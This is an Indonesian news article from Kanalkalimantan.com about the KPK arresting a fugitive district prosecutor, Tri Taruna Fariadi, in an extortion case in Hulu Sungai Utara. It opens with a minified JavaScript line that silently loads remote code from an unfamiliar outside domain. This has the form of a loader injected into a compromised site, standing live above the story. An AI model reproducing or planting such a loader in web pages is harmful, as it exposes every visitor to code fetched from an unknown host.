(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Pengejaran dalam Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK) di Kabupaten Hulu Sungai Utara (HSU), Kalimantan Selatan, menemui babak baru.
Kepala Seksi Perdata dan Tata Usaha Negara (Kasi Datun) Kejaksaan Negeri (Kejari) HSU, Tri Taruna Fariadi, akhirnya tiba di Gedung Merah Putih KPK, Jakarta Selatan, setelah sempat menjadi buron.
Dengan pengawalan ketat dari petugas dan anggota TNI bersenjata lengkap, Tri Taruna terpantau memasuki markas komisi antirasuah sekitar pukul 12.50 WIB, Senin (22/12/2025).
Kedatangannya seketika menyita perhatian, terutama karena adanya dugaan insiden penabrakan saat ia berusaha kabur dari sergapan tim penyelidik KPK.
Baca juga: Masih Buron, Kejagung Bantu KPK Buru Kasi Datun Kejari HSU
Namun, saat dicecar awak media, Tri dengan singkat menyangkal tudingan tersebut.
“Enggak pernah saya nabrak,” kata Tri, Senin (22/12/2025).
Pernyataan ini kontras dengan keterangan yang disampaikan KPK sehari sebelumnya. Juru Bicara KPK, Budi Prasetyo, mengonfirmasi bahwa Tri menyerahkan diri melalui Kejaksaan Agung.
“Benar, sudah diserahkan dari Kejaksaan Agung. Selanjutnya langsung dilakukan pemeriksaan,” ujar Budi kepada wartawan.
Baca juga: Kejagung Copot Jabatan Kajari dan 2 Kasi Kejari HSU
Budi juga membenarkan adanya insiden dimana mobil yang dikendarai Tri sempat menabrak penyelidik KPK saat proses pengejaran berlangsung. Beruntung, petugas KPK tidak mengalami luka serius.
“Alhamdulillah kondisi baik, selamat, terhindar,” ungkap Budi, Minggu (21/12/2025).
Tri Taruna Fariadi terseret dalam pusaran kasus dugaan pemerasan yang telah lebih dulu menjerat dua atasannya.
KPK menetapkan Kajari Hulu Sungai Utara Albertinus Parlinggoman Napitupulu (APN), Kasi Intel Asis Budianto (ASB), dan Kasi Datun Tri Taruna Fariadi (TAR) sebagai tersangka kasus dugaan tindak pidana korupsi berupa pemerasan dalam penegakan hukum di Kejari HSU untuk tahun anggaran 2025-2026.
Baca juga: Tiga Jaksa Kejari HSU Tersangka Pemerasan, KPK: TAR Kabur, Jadi DPO
Albertinus dan Asis telah ditahan oleh KPK, sedangkan Tri Taruna Fariadi sempat melarikan diri saat KPK melakukan operasi tangkap tangan (OTT).
Pelaksana Tugas Deputi (Plt) Penindakan dan Eksekusi KPK, Asep Guntur Rahayu, mengungkapkan, Albertinus diduga menerima uang hasil tindak pidana korupsi hingga Rp1,5 miliar. Dana tersebut diduga berasal dari pemerasan, pemotongan anggaran Kejari HSU, serta penerimaan tidak sah lainnya.
Untuk praktik pemerasan, Asep menjelaskan Albertinus menerima uang hingga Rp804 juta pada periode November-Desember 2025 melalui dua perantara, yakni Asis Budianto dan Tri Taruna Fariadi. Sementara pemotongan anggaran Kejari HSU dilakukan melalui bendahara dan diduga digunakan sebagai dana operasional pribadi.
Kasus ini menjadi perhatian publik karena melibatkan pimpinan dan pejabat struktural kejaksaan, sekaligus menegaskan komitmen penegakan hukum terhadap praktik korupsi di internal aparat penegak hukum. (Kanalkalimantan.com/Suara.com)
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.